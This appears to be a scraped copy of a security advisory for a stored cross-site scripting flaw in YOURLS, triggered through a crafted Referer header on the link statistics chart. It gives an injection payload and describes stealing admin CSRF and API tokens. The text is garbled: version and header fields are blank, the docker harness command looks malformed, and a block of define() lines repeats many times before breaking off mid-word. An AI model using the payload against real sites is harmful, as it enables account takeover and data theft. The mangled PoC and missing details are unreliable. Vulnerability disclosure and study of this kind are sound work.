Stored XSS in YOURLS via Referer Header: Analysis and Impact

Vulnerability Overview Title: Stored XSS in referrer statistics chart via crafted Referer header Description: Vulnerability Type: Stored Cross-Site Scripting (Stored XSS) Vulnerability Source: Crafted header Affected Versions: Fixed Version: Detailed Explanation: Vulnerability Principle: YOURLS stores the HTTP header for short URL redirection and renders aggregated referrer domains on the statistics page for each link. An unauthenticated attacker can send a crafted header to any existing short URL. When an administrator or site owner views the statistics page for that short URL, the crafted referrer is embedded into Google Charts JavaScript, resulting in a stored cross-site scripting vulnerability. Reachability: By default, only authenticated users can view the statistics page. In documented configurations, when is set to , the statistics page is public. Impact Scope Severity: High (8.2 / 10) Attack Vector: Network Attack Complexity: Low Required Privileges: None User Interaction: Required Scope: Changed Confidentiality: High Integrity: High Availability: None Specific Impact: Execution of arbitrary JavaScript code, running in the victim's browser within the authorized domain of YOURLS. In private installations, attackers can exploit the victim administrator's session to access the admin panel, read embedded CSRF tokens, and use AJAX endpoints to create, edit, or delete short URLs. Attackers can access to read the victim's API signature token, thereby creating short URLs and querying URL/global statistics outside the victim's browser session. Confidentiality impacts include access to admin-visible URL inventories and metadata, such as long URLs, titles, creator IP addresses, timestamps, click counts, referrer statistics, and API signature tokens. Integrity impacts include persistent modification of short link descriptions and deletion of links. Remediation Fixed Version: Remediation Measure: Properly escape and process the header to prevent it from being embedded into JavaScript. POC Code `` ['label1', ...] .', '[', ']', '.', and parentheses. // A crafted referrer host such as: 'http://x',1],['marker',alert(1)],['z.tld' // survives sanitization when used in a URL like: http://x',1],['marker',alert(1)],['z.tld/path // It is then rendered into chart JavaScript like: var data = google.visualization.arrayToDataTable([ ['x',1],['marker',alert(1)],['z.tld', ]); // The alert(1) call is only a benign proof marker. An attacker can execute arbitrary JavaScript in the stats viewer's browser context. // PoC // The following local harness was run against commit cf5de237f6d2449490c17c2e4a78e1cd34759ab3. It exercises YOURLS' real URL sanitizer, domain extraction, and yourls_stats_get() chart rendering path, then executes the generated chart script in Node with stubs for Google Charts and alert(). docker run --rm --network none -v "$PWD:/repo:ro" -v /repo php:myadmin:5.2.1 php -d display_startup_errors=0 -r ' define("YOURLS_DB_DEFAULT", 0); define("YOURLS_DB_USER", "root"); define("YOURLS_DB_PASS", "root"); define("YOURLS_DB_NAME", "yourls"); define("YOURLS_DB_HOST", "localhost"); define("YOURLS_DB_PREFIX", "yourls_"); define("YOURLS_SITE", "http://localhost"); define("YOURLS_USER", "admin"); define("YOURLS_PASS", "admin"); define("YOURLS_URL_CONVERTER", "yourls_url_converter"); define("YOURLS_COOKIEKEY", "yourls_cookiekey"); define("YOURLS_PRIVATE", "false"); define("YOURLS_DEBUG", "true"); define("YOURLS_URL_CONVERTER", "yourls_url_converter"); define("YOURLS_COOKIEKEY", "yourls_cookiekey"); define("YOURLS_PRIVATE", "false"); define("YOURLS_DEBUG", "true"); define("YOURLS_URL_CONVERTER", "yourls_url_converter"); define("YOURLS_COOKIEKEY", "yourls_cookiekey"); define("YOURLS_PRIVATE", "false"); define("YOURLS_DEBUG", "true"); define("YOURLS_URL_CONVERTER", "yourls_url_converter"); define("YOURLS_COOKIEKEY", "yourls_cookiekey"); define("YOURLS_PRIVATE", "false"); define("YOURLS_DEBUG", "true"); define("YOURLS_URL_CONVERTER", "yourls_url_converter"); define("YOURLS_COOKIEKEY", "yourls_cookiekey"); define("YOURLS_PRIVATE", "false"); define("YOURLS_DEBUG", "true"); define("YOURLS_URL_CONVERTER", "yourls_url_converter"); define("YOURLS_COOKIEKEY", "yourls_cookiekey"); define("YOURLS_PRIVATE", "false"); define("YOURLS_DEBUG", "true"); define("YOURLS_URL_CONVERTER", "yourls_url_converter"); define("YOURLS_COOKIEKEY", "yourls_cookiekey"); define("YOURLS_PRIVATE", "false"); define("YOURLS_DEBUG", "true"); define("YOURLS_URL_CONVERTER", "yourls_url_converter"); define("YOURLS_COOKIEKEY", "yourls_cookiekey"); define("YOURLS_PRIVATE", "false"); define("YOURLS_DEBUG", "true"); define("YOURLS_URL_CONVERTER", "yourls_url_converter"); define("YOURLS_COOKIEKEY", "yourls_cookiekey"); define("YOURLS_PRIVATE", "false"); define("YOURLS_DEBUG", "true"); define("YOURLS_URL_CONVERTER", "yourls_url_converter"); define("YOURLS_COOKIEKEY", "yourls_cookiekey"); define("YOURLS_PRIVATE", "false"); define("YOURLS_DEBUG", "true"); define("YOURLS_URL_CON

Goal Reached Thanks to every supporter — we hit 100%!

Stored XSS in YOURLS via Referer Header: Analysis and Impact

More from this source